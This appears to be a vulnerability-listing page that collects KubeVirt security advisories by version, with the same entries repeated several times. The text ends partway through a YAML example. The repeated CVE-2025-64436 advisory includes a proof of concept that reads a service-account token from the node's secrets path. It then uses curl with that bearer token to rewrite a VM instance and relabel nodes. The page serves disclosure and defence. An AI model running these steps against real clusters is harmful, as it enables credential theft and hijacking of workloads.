KubeVirt Affected by an Authentication Bypass in Kubernetes Aggregation Layer in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64433 GO-2025-4109 GHSA-qw6q-3pgr-5cwq Nov 17, 2025

KubeVirt Arbitrary Container File Read in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801195231-a81b27d4600c


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64435 GO-2025-4105 GHSA-9m94-w2vq-hcf9 Nov 17, 2025

KubeVirt VMI Denial-of-Service (DoS) Using Pod Impersonation in kubevirt.io/kubevirt

Fixed in


          1.7.0-beta.0

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64324 GO-2025-4110 GHSA-46xp-26xh-hpqh Nov 17, 2025

KubeVirt Vulnerable to Arbitrary Host File Read and Write in kubevirt.io/kubevirt

Fixed in


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64436 GHSA-7xgm-5prm-v5gc GO-2025-4104 Nov 06, 2025

KubeVirt Excessive Role Permissions Could Enable Unauthorized VMI Migrations Between Nodes

Medium

Network Low None None

Summary

The permissions granted to the virt-handler service account, such as the ability to update VMI and patch nodes, could be abused to force a VMI migration to an attacker-controlled node.

Details

Following the GitHub security advisory published on March 23 2023, a ValidatingAdmissionPolicy was introduced to impose restrictions on which sections of node resources the virt-handler service account can modify. For instance, the spec section of nodes has been made immutable, and modifications to the labels section are now limited to kubevirt.io-prefixed labels only. This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

However, if a virt-handler service account is compromised, either through the pod itself or the underlying node, an attacker may still modify node labels, both on the compromised node and on other nodes within the cluster. Notably, virt-handler sets a specific kubevirt.io boolean label, kubevirt.io/schedulable, which indicates whether the node can host VMI workloads. An attacker could repeatedly patch other nodes by setting this label to false, thereby forcing all #acr("vmi") instances to be scheduled exclusively on the compromised node.

Another finding describes how a compromised virt-handler instance can perform operations on other nodes that are intended to be executed solely by virt-api. This significantly increases both the impact and the likelihood of the vulnerability being exploited

Additionally, by default, the virt-handler service account has permission to update all VMI resources across the cluster, including those not running on the same node. While a security mechanism similar to the kubelet's NodeRestriction feature exists to limit this scope, it is controlled by a feature gate and is therefore not enabled by default.

PoC

By injecting incorrect data into a running VMI, for example, by altering the kubevirt.io/nodeName label to reference a different node, the VMI is marked as terminated and its state transitions to Succeeded. This incorrect state could mislead an administrator into restarting the VMI, causing it to be re-created on a node of the attacker's choosing. As an example, the following demonstrates how to instantiate a basic VMI:

apiVersion: kubevirt.io/v1
kind: VirtualMachine
metadata:
  name: testvm
spec:
  runStrategy: Always
  template:
    metadata:
      labels:
        kubevirt.io/size: small
        kubevirt.io/domain: testvm
    spec:
      domain:
        devices:
          disks:
            - name: containerdisk
              disk:
                bus: virtio
            - name: cloudinitdisk
              disk:
                bus: virtio
          interfaces:
          - name: default
            masquerade: {}
        resources:
          requests:
            memory: 64M
      networks:
      - name: default
        pod: {}
      volumes:
        - name: containerdisk
          containerDisk:
            image: quay.io/kubevirt/cirros-container-disk-demo
        - name: cloudinitdisk
          cloudInitNoCloud:
            userDataBase64: SGkuXG4=

The VMI is then created on a minikube node identified with minikube-m02:

operator@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   20s   Running   10.244.1.8   minikube-m02   True

Assume that a virt-handler pod, running on node minikube-m03, is compromised and an attacker and the latter wants the testvm to be re-deployed on a controlled by them node.

First, we retrieve the virt-handler service account token in order to be able to perform requests to the Kubernetes API:

# Get the `virt-handler` pod name
attacker@minikube-m03:~$ kubectl get pods  -n kubevirt --field-selector spec.nodeName=minikube-m03 | grep virt-handler
virt-handler-kblgh               1/1     Running   0          8d
# get the `virt-handler` SA account token
attacker@minikube-m03:~$ token=$(kubectl exec -it virt-handler-kblgh -n kubevirt -c virt-handler -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)

The attacker updates the VMI object labels in a way that makes it terminate:

# Save the current state of the VMI
attacker@minikube-m03:~$ kubectl get vmi testvm -o json > testvm.json
# replace the current `nodeName` to another one in the JSON file
attacker@minikube-m03:~$ sed -i 's/"kubevirt.io\/nodeName": "minikube-m02"/"kubevirt.io\/nodeName": "minikube-m03"/g' testvm.json 
# Perform the UPDATE request, impersonating the virt-handler
attacker@minikube-m03:~$ curl https://192.168.49.2:8443/apis/kubevirt.io/v1/namespaces/default/virtualmachineinstances/testvm -k  -X PUT -d @testvm.json -H "Content-Type: application/json" -H "Authorization: bearer $token"
# Get the current state of the VMI after the UPDATE
attacker@minikube-m03:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   42m   Running   10.244.1.8   minikube-m02   False # The VMI is not ready anymore
# Get the current state of the pod after the UPDATE
attacker@minikube-m03:~$ kubectl get pods | grep launcher
virt-launcher-testvm-z2fk4   0/3     Completed   0          44m  # the `virt-launcher` pod is completed

Now, the attacker can use the excessive permissions of the virt-handler service account to patch the minikube-m02 node in order to mark it as unschedulable for VMI workloads:

attacker@minikube-m03:~$ curl https://192.168.49.2:8443/api/v1/nodes/minikube-m03 -k -H "Authorization: Bearer $token" -H "Content-Type: application/strategic-merge-patch+json" --data '{"metadata":{"labels":{"kubevirt.io/schedulable":"false"}}}' -X PATCH

Note: This request could require multiple invocations as the virt-handler is continuously updating the schedulable state of the node it is running on.

Finally, an admin user decides to restart the VMI:

admin@minikube:~$ kubectl delete -f testvm.yaml
admin@minikube:~$ kubectl apply -f testvm.yaml
admin@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP            NODENAME       READY
testvm   80s   Running   10.244.0.15   minikube-m03   True

Identifying the origin node of a request is not a straightforward task. One potential solution is to embed additional authentication data, such as the userInfo object, indicating the node on which the service account is currently running. This approach would be similar to Kubernetes' NodeRestriction feature gate. Since Kubernetes version 1.32, the node authorization mode, enforced via the NodeRestriction admission plugin, is enabled by default for kubelets running in the cluster. The equivalent feature gate in KubeVirt should likewise be enabled by default when the underlying Kubernetes version is 1.32 or higher.

An alternative approach would be to create a dedicated virt-handler service account for each node, embedding the node name into the account identity. This would allow the origin node to be inferred from the userInfo.username field of the AdmissionRequest object. However, this method introduces additional operational overhead in terms of monitoring and maintenance.

Impact

This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

Fixed in


          1.7.0

References

Updated Sep 10, 2026 · Source: OSV.dev

CVE-2024-31420 GO-2024-2688 GHSA-vjhf-6xfr-5p9g Jun 05, 2024

KubeVirt NULL pointer dereference flaw in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2024-33394 GO-2024-2816 GHSA-4q63-mr2m-57hf Jun 05, 2024

kubevirt allows a local attacker to execute arbitrary code via a crafted command in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

Nov 02, 2023

v1.1.0-rc.0 pre

13 CVEs

CVE-2026-9804 GO-2026-5883 GHSA-mpmf-3w4r-qfpf Jul 07, 2026

KubeVirt has a Link Following issue in kubevirt.io/kubevirt

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-7374 GO-2026-5848 GHSA-7jcp-v9w4-wjmg Jul 07, 2026

KubeVirt has a Link Following vulnerability in kubevirt.io/kubevirt

Fixed in


          1.6.6


          1.7.4


          1.8.3

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-6383 GO-2026-5450 GHSA-j6cv-3w8p-vrg8 Jun 25, 2026

KubeVirt's authorization mechanism improperly truncates subresource names in kubevirt.io/kubevirt

References

Updated Jun 26, 2026 · Source: OSV.dev

CVE-2025-14525 GO-2026-4384 GHSA-25mh-hp8x-cgrv Feb 02, 2026

KubeVirt Guest Agent DoS via Excessive Network Interface Reports in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64437 GO-2025-4102 GHSA-2r4r-5x78-mvqf Nov 17, 2025

KubeVirt Isolation Detection Flaw Allows Arbitrary File Permission Changes in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801202148-3ce9f41c54d0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64434 GO-2025-4107 GHSA-ggp9-c99x-54gp Nov 17, 2025

KubeVirt Improper TLS Certificate Management Handling Allows API Identity Spoofing in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64432 GO-2025-4103 GHSA-38jw-g2qx-4286 Nov 17, 2025

KubeVirt Affected by an Authentication Bypass in Kubernetes Aggregation Layer in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64433 GO-2025-4109 GHSA-qw6q-3pgr-5cwq Nov 17, 2025

KubeVirt Arbitrary Container File Read in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801195231-a81b27d4600c


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64435 GO-2025-4105 GHSA-9m94-w2vq-hcf9 Nov 17, 2025

KubeVirt VMI Denial-of-Service (DoS) Using Pod Impersonation in kubevirt.io/kubevirt

Fixed in


          1.7.0-beta.0

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64324 GO-2025-4110 GHSA-46xp-26xh-hpqh Nov 17, 2025

KubeVirt Vulnerable to Arbitrary Host File Read and Write in kubevirt.io/kubevirt

Fixed in


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64436 GHSA-7xgm-5prm-v5gc GO-2025-4104 Nov 06, 2025

KubeVirt Excessive Role Permissions Could Enable Unauthorized VMI Migrations Between Nodes

Medium

Network Low None None

Summary

The permissions granted to the virt-handler service account, such as the ability to update VMI and patch nodes, could be abused to force a VMI migration to an attacker-controlled node.

Details

Following the GitHub security advisory published on March 23 2023, a ValidatingAdmissionPolicy was introduced to impose restrictions on which sections of node resources the virt-handler service account can modify. For instance, the spec section of nodes has been made immutable, and modifications to the labels section are now limited to kubevirt.io-prefixed labels only. This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

However, if a virt-handler service account is compromised, either through the pod itself or the underlying node, an attacker may still modify node labels, both on the compromised node and on other nodes within the cluster. Notably, virt-handler sets a specific kubevirt.io boolean label, kubevirt.io/schedulable, which indicates whether the node can host VMI workloads. An attacker could repeatedly patch other nodes by setting this label to false, thereby forcing all #acr("vmi") instances to be scheduled exclusively on the compromised node.

Another finding describes how a compromised virt-handler instance can perform operations on other nodes that are intended to be executed solely by virt-api. This significantly increases both the impact and the likelihood of the vulnerability being exploited

Additionally, by default, the virt-handler service account has permission to update all VMI resources across the cluster, including those not running on the same node. While a security mechanism similar to the kubelet's NodeRestriction feature exists to limit this scope, it is controlled by a feature gate and is therefore not enabled by default.

PoC

By injecting incorrect data into a running VMI, for example, by altering the kubevirt.io/nodeName label to reference a different node, the VMI is marked as terminated and its state transitions to Succeeded. This incorrect state could mislead an administrator into restarting the VMI, causing it to be re-created on a node of the attacker's choosing. As an example, the following demonstrates how to instantiate a basic VMI:

apiVersion: kubevirt.io/v1
kind: VirtualMachine
metadata:
  name: testvm
spec:
  runStrategy: Always
  template:
    metadata:
      labels:
        kubevirt.io/size: small
        kubevirt.io/domain: testvm
    spec:
      domain:
        devices:
          disks:
            - name: containerdisk
              disk:
                bus: virtio
            - name: cloudinitdisk
              disk:
                bus: virtio
          interfaces:
          - name: default
            masquerade: {}
        resources:
          requests:
            memory: 64M
      networks:
      - name: default
        pod: {}
      volumes:
        - name: containerdisk
          containerDisk:
            image: quay.io/kubevirt/cirros-container-disk-demo
        - name: cloudinitdisk
          cloudInitNoCloud:
            userDataBase64: SGkuXG4=

The VMI is then created on a minikube node identified with minikube-m02:

operator@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   20s   Running   10.244.1.8   minikube-m02   True

Assume that a virt-handler pod, running on node minikube-m03, is compromised and an attacker and the latter wants the testvm to be re-deployed on a controlled by them node.

First, we retrieve the virt-handler service account token in order to be able to perform requests to the Kubernetes API:

# Get the `virt-handler` pod name
attacker@minikube-m03:~$ kubectl get pods  -n kubevirt --field-selector spec.nodeName=minikube-m03 | grep virt-handler
virt-handler-kblgh               1/1     Running   0          8d
# get the `virt-handler` SA account token
attacker@minikube-m03:~$ token=$(kubectl exec -it virt-handler-kblgh -n kubevirt -c virt-handler -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)

The attacker updates the VMI object labels in a way that makes it terminate:

# Save the current state of the VMI
attacker@minikube-m03:~$ kubectl get vmi testvm -o json > testvm.json
# replace the current `nodeName` to another one in the JSON file
attacker@minikube-m03:~$ sed -i 's/"kubevirt.io\/nodeName": "minikube-m02"/"kubevirt.io\/nodeName": "minikube-m03"/g' testvm.json 
# Perform the UPDATE request, impersonating the virt-handler
attacker@minikube-m03:~$ curl https://192.168.49.2:8443/apis/kubevirt.io/v1/namespaces/default/virtualmachineinstances/testvm -k  -X PUT -d @testvm.json -H "Content-Type: application/json" -H "Authorization: bearer $token"
# Get the current state of the VMI after the UPDATE
attacker@minikube-m03:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   42m   Running   10.244.1.8   minikube-m02   False # The VMI is not ready anymore
# Get the current state of the pod after the UPDATE
attacker@minikube-m03:~$ kubectl get pods | grep launcher
virt-launcher-testvm-z2fk4   0/3     Completed   0          44m  # the `virt-launcher` pod is completed

Now, the attacker can use the excessive permissions of the virt-handler service account to patch the minikube-m02 node in order to mark it as unschedulable for VMI workloads:

attacker@minikube-m03:~$ curl https://192.168.49.2:8443/api/v1/nodes/minikube-m03 -k -H "Authorization: Bearer $token" -H "Content-Type: application/strategic-merge-patch+json" --data '{"metadata":{"labels":{"kubevirt.io/schedulable":"false"}}}' -X PATCH

Note: This request could require multiple invocations as the virt-handler is continuously updating the schedulable state of the node it is running on.

Finally, an admin user decides to restart the VMI:

admin@minikube:~$ kubectl delete -f testvm.yaml
admin@minikube:~$ kubectl apply -f testvm.yaml
admin@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP            NODENAME       READY
testvm   80s   Running   10.244.0.15   minikube-m03   True

Identifying the origin node of a request is not a straightforward task. One potential solution is to embed additional authentication data, such as the userInfo object, indicating the node on which the service account is currently running. This approach would be similar to Kubernetes' NodeRestriction feature gate. Since Kubernetes version 1.32, the node authorization mode, enforced via the NodeRestriction admission plugin, is enabled by default for kubelets running in the cluster. The equivalent feature gate in KubeVirt should likewise be enabled by default when the underlying Kubernetes version is 1.32 or higher.

An alternative approach would be to create a dedicated virt-handler service account for each node, embedding the node name into the account identity. This would allow the origin node to be inferred from the userInfo.username field of the AdmissionRequest object. However, this method introduces additional operational overhead in terms of monitoring and maintenance.

Impact

This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

Fixed in


          1.7.0

References

Updated Sep 10, 2026 · Source: OSV.dev

CVE-2024-31420 GO-2024-2688 GHSA-vjhf-6xfr-5p9g Jun 05, 2024

KubeVirt NULL pointer dereference flaw in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2024-33394 GO-2024-2816 GHSA-4q63-mr2m-57hf Jun 05, 2024

kubevirt allows a local attacker to execute arbitrary code via a crafted command in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

Oct 19, 2023

v1.0.1 major

13 CVEs

CVE-2026-9804 GO-2026-5883 GHSA-mpmf-3w4r-qfpf Jul 07, 2026

KubeVirt has a Link Following issue in kubevirt.io/kubevirt

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-7374 GO-2026-5848 GHSA-7jcp-v9w4-wjmg Jul 07, 2026

KubeVirt has a Link Following vulnerability in kubevirt.io/kubevirt

Fixed in


          1.6.6


          1.7.4


          1.8.3

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-6383 GO-2026-5450 GHSA-j6cv-3w8p-vrg8 Jun 25, 2026

KubeVirt's authorization mechanism improperly truncates subresource names in kubevirt.io/kubevirt

References

Updated Jun 26, 2026 · Source: OSV.dev

CVE-2025-14525 GO-2026-4384 GHSA-25mh-hp8x-cgrv Feb 02, 2026

KubeVirt Guest Agent DoS via Excessive Network Interface Reports in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64437 GO-2025-4102 GHSA-2r4r-5x78-mvqf Nov 17, 2025

KubeVirt Isolation Detection Flaw Allows Arbitrary File Permission Changes in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801202148-3ce9f41c54d0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64434 GO-2025-4107 GHSA-ggp9-c99x-54gp Nov 17, 2025

KubeVirt Improper TLS Certificate Management Handling Allows API Identity Spoofing in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64432 GO-2025-4103 GHSA-38jw-g2qx-4286 Nov 17, 2025

KubeVirt Affected by an Authentication Bypass in Kubernetes Aggregation Layer in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64433 GO-2025-4109 GHSA-qw6q-3pgr-5cwq Nov 17, 2025

KubeVirt Arbitrary Container File Read in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801195231-a81b27d4600c


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64435 GO-2025-4105 GHSA-9m94-w2vq-hcf9 Nov 17, 2025

KubeVirt VMI Denial-of-Service (DoS) Using Pod Impersonation in kubevirt.io/kubevirt

Fixed in


          1.7.0-beta.0

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64324 GO-2025-4110 GHSA-46xp-26xh-hpqh Nov 17, 2025

KubeVirt Vulnerable to Arbitrary Host File Read and Write in kubevirt.io/kubevirt

Fixed in


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64436 GHSA-7xgm-5prm-v5gc GO-2025-4104 Nov 06, 2025

KubeVirt Excessive Role Permissions Could Enable Unauthorized VMI Migrations Between Nodes

Medium

Network Low None None

Summary

The permissions granted to the virt-handler service account, such as the ability to update VMI and patch nodes, could be abused to force a VMI migration to an attacker-controlled node.

Details

Following the GitHub security advisory published on March 23 2023, a ValidatingAdmissionPolicy was introduced to impose restrictions on which sections of node resources the virt-handler service account can modify. For instance, the spec section of nodes has been made immutable, and modifications to the labels section are now limited to kubevirt.io-prefixed labels only. This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

However, if a virt-handler service account is compromised, either through the pod itself or the underlying node, an attacker may still modify node labels, both on the compromised node and on other nodes within the cluster. Notably, virt-handler sets a specific kubevirt.io boolean label, kubevirt.io/schedulable, which indicates whether the node can host VMI workloads. An attacker could repeatedly patch other nodes by setting this label to false, thereby forcing all #acr("vmi") instances to be scheduled exclusively on the compromised node.

Another finding describes how a compromised virt-handler instance can perform operations on other nodes that are intended to be executed solely by virt-api. This significantly increases both the impact and the likelihood of the vulnerability being exploited

Additionally, by default, the virt-handler service account has permission to update all VMI resources across the cluster, including those not running on the same node. While a security mechanism similar to the kubelet's NodeRestriction feature exists to limit this scope, it is controlled by a feature gate and is therefore not enabled by default.

PoC

By injecting incorrect data into a running VMI, for example, by altering the kubevirt.io/nodeName label to reference a different node, the VMI is marked as terminated and its state transitions to Succeeded. This incorrect state could mislead an administrator into restarting the VMI, causing it to be re-created on a node of the attacker's choosing. As an example, the following demonstrates how to instantiate a basic VMI:

apiVersion: kubevirt.io/v1
kind: VirtualMachine
metadata:
  name: testvm
spec:
  runStrategy: Always
  template:
    metadata:
      labels:
        kubevirt.io/size: small
        kubevirt.io/domain: testvm
    spec:
      domain:
        devices:
          disks:
            - name: containerdisk
              disk:
                bus: virtio
            - name: cloudinitdisk
              disk:
                bus: virtio
          interfaces:
          - name: default
            masquerade: {}
        resources:
          requests:
            memory: 64M
      networks:
      - name: default
        pod: {}
      volumes:
        - name: containerdisk
          containerDisk:
            image: quay.io/kubevirt/cirros-container-disk-demo
        - name: cloudinitdisk
          cloudInitNoCloud:
            userDataBase64: SGkuXG4=

The VMI is then created on a minikube node identified with minikube-m02:

operator@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   20s   Running   10.244.1.8   minikube-m02   True

Assume that a virt-handler pod, running on node minikube-m03, is compromised and an attacker and the latter wants the testvm to be re-deployed on a controlled by them node.

First, we retrieve the virt-handler service account token in order to be able to perform requests to the Kubernetes API:

# Get the `virt-handler` pod name
attacker@minikube-m03:~$ kubectl get pods  -n kubevirt --field-selector spec.nodeName=minikube-m03 | grep virt-handler
virt-handler-kblgh               1/1     Running   0          8d
# get the `virt-handler` SA account token
attacker@minikube-m03:~$ token=$(kubectl exec -it virt-handler-kblgh -n kubevirt -c virt-handler -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)

The attacker updates the VMI object labels in a way that makes it terminate:

# Save the current state of the VMI
attacker@minikube-m03:~$ kubectl get vmi testvm -o json > testvm.json
# replace the current `nodeName` to another one in the JSON file
attacker@minikube-m03:~$ sed -i 's/"kubevirt.io\/nodeName": "minikube-m02"/"kubevirt.io\/nodeName": "minikube-m03"/g' testvm.json 
# Perform the UPDATE request, impersonating the virt-handler
attacker@minikube-m03:~$ curl https://192.168.49.2:8443/apis/kubevirt.io/v1/namespaces/default/virtualmachineinstances/testvm -k  -X PUT -d @testvm.json -H "Content-Type: application/json" -H "Authorization: bearer $token"
# Get the current state of the VMI after the UPDATE
attacker@minikube-m03:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   42m   Running   10.244.1.8   minikube-m02   False # The VMI is not ready anymore
# Get the current state of the pod after the UPDATE
attacker@minikube-m03:~$ kubectl get pods | grep launcher
virt-launcher-testvm-z2fk4   0/3     Completed   0          44m  # the `virt-launcher` pod is completed

Now, the attacker can use the excessive permissions of the virt-handler service account to patch the minikube-m02 node in order to mark it as unschedulable for VMI workloads:

attacker@minikube-m03:~$ curl https://192.168.49.2:8443/api/v1/nodes/minikube-m03 -k -H "Authorization: Bearer $token" -H "Content-Type: application/strategic-merge-patch+json" --data '{"metadata":{"labels":{"kubevirt.io/schedulable":"false"}}}' -X PATCH

Note: This request could require multiple invocations as the virt-handler is continuously updating the schedulable state of the node it is running on.

Finally, an admin user decides to restart the VMI:

admin@minikube:~$ kubectl delete -f testvm.yaml
admin@minikube:~$ kubectl apply -f testvm.yaml
admin@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP            NODENAME       READY
testvm   80s   Running   10.244.0.15   minikube-m03   True

Identifying the origin node of a request is not a straightforward task. One potential solution is to embed additional authentication data, such as the userInfo object, indicating the node on which the service account is currently running. This approach would be similar to Kubernetes' NodeRestriction feature gate. Since Kubernetes version 1.32, the node authorization mode, enforced via the NodeRestriction admission plugin, is enabled by default for kubelets running in the cluster. The equivalent feature gate in KubeVirt should likewise be enabled by default when the underlying Kubernetes version is 1.32 or higher.

An alternative approach would be to create a dedicated virt-handler service account for each node, embedding the node name into the account identity. This would allow the origin node to be inferred from the userInfo.username field of the AdmissionRequest object. However, this method introduces additional operational overhead in terms of monitoring and maintenance.

Impact

This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

Fixed in


          1.7.0

References

Updated Sep 10, 2026 · Source: OSV.dev

CVE-2024-31420 GO-2024-2688 GHSA-vjhf-6xfr-5p9g Jun 05, 2024

KubeVirt NULL pointer dereference flaw in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2024-33394 GO-2024-2816 GHSA-4q63-mr2m-57hf Jun 05, 2024

kubevirt allows a local attacker to execute arbitrary code via a crafted command in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

Oct 11, 2023

v1.0.0-rc.0 pre

13 CVEs

CVE-2026-9804 GO-2026-5883 GHSA-mpmf-3w4r-qfpf Jul 07, 2026

KubeVirt has a Link Following issue in kubevirt.io/kubevirt

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-7374 GO-2026-5848 GHSA-7jcp-v9w4-wjmg Jul 07, 2026

KubeVirt has a Link Following vulnerability in kubevirt.io/kubevirt

Fixed in


          1.6.6


          1.7.4


          1.8.3

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-6383 GO-2026-5450 GHSA-j6cv-3w8p-vrg8 Jun 25, 2026

KubeVirt's authorization mechanism improperly truncates subresource names in kubevirt.io/kubevirt

References

Updated Jun 26, 2026 · Source: OSV.dev

CVE-2025-14525 GO-2026-4384 GHSA-25mh-hp8x-cgrv Feb 02, 2026

KubeVirt Guest Agent DoS via Excessive Network Interface Reports in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64437 GO-2025-4102 GHSA-2r4r-5x78-mvqf Nov 17, 2025

KubeVirt Isolation Detection Flaw Allows Arbitrary File Permission Changes in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801202148-3ce9f41c54d0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64434 GO-2025-4107 GHSA-ggp9-c99x-54gp Nov 17, 2025

KubeVirt Improper TLS Certificate Management Handling Allows API Identity Spoofing in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64432 GO-2025-4103 GHSA-38jw-g2qx-4286 Nov 17, 2025

KubeVirt Affected by an Authentication Bypass in Kubernetes Aggregation Layer in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64433 GO-2025-4109 GHSA-qw6q-3pgr-5cwq Nov 17, 2025

KubeVirt Arbitrary Container File Read in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801195231-a81b27d4600c


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64435 GO-2025-4105 GHSA-9m94-w2vq-hcf9 Nov 17, 2025

KubeVirt VMI Denial-of-Service (DoS) Using Pod Impersonation in kubevirt.io/kubevirt

Fixed in


          1.7.0-beta.0

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64324 GO-2025-4110 GHSA-46xp-26xh-hpqh Nov 17, 2025

KubeVirt Vulnerable to Arbitrary Host File Read and Write in kubevirt.io/kubevirt

Fixed in


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64436 GHSA-7xgm-5prm-v5gc GO-2025-4104 Nov 06, 2025

KubeVirt Excessive Role Permissions Could Enable Unauthorized VMI Migrations Between Nodes

Medium

Network Low None None

Summary

The permissions granted to the virt-handler service account, such as the ability to update VMI and patch nodes, could be abused to force a VMI migration to an attacker-controlled node.

Details

Following the GitHub security advisory published on March 23 2023, a ValidatingAdmissionPolicy was introduced to impose restrictions on which sections of node resources the virt-handler service account can modify. For instance, the spec section of nodes has been made immutable, and modifications to the labels section are now limited to kubevirt.io-prefixed labels only. This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

However, if a virt-handler service account is compromised, either through the pod itself or the underlying node, an attacker may still modify node labels, both on the compromised node and on other nodes within the cluster. Notably, virt-handler sets a specific kubevirt.io boolean label, kubevirt.io/schedulable, which indicates whether the node can host VMI workloads. An attacker could repeatedly patch other nodes by setting this label to false, thereby forcing all #acr("vmi") instances to be scheduled exclusively on the compromised node.

Another finding describes how a compromised virt-handler instance can perform operations on other nodes that are intended to be executed solely by virt-api. This significantly increases both the impact and the likelihood of the vulnerability being exploited

Additionally, by default, the virt-handler service account has permission to update all VMI resources across the cluster, including those not running on the same node. While a security mechanism similar to the kubelet's NodeRestriction feature exists to limit this scope, it is controlled by a feature gate and is therefore not enabled by default.

PoC

By injecting incorrect data into a running VMI, for example, by altering the kubevirt.io/nodeName label to reference a different node, the VMI is marked as terminated and its state transitions to Succeeded. This incorrect state could mislead an administrator into restarting the VMI, causing it to be re-created on a node of the attacker's choosing. As an example, the following demonstrates how to instantiate a basic VMI:

apiVersion: kubevirt.io/v1
kind: VirtualMachine
metadata:
  name: testvm
spec:
  runStrategy: Always
  template:
    metadata:
      labels:
        kubevirt.io/size: small
        kubevirt.io/domain: testvm
    spec:
      domain:
        devices:
          disks:
            - name: containerdisk
              disk:
                bus: virtio
            - name: cloudinitdisk
              disk:
                bus: virtio
          interfaces:
          - name: default
            masquerade: {}
        resources:
          requests:
            memory: 64M
      networks:
      - name: default
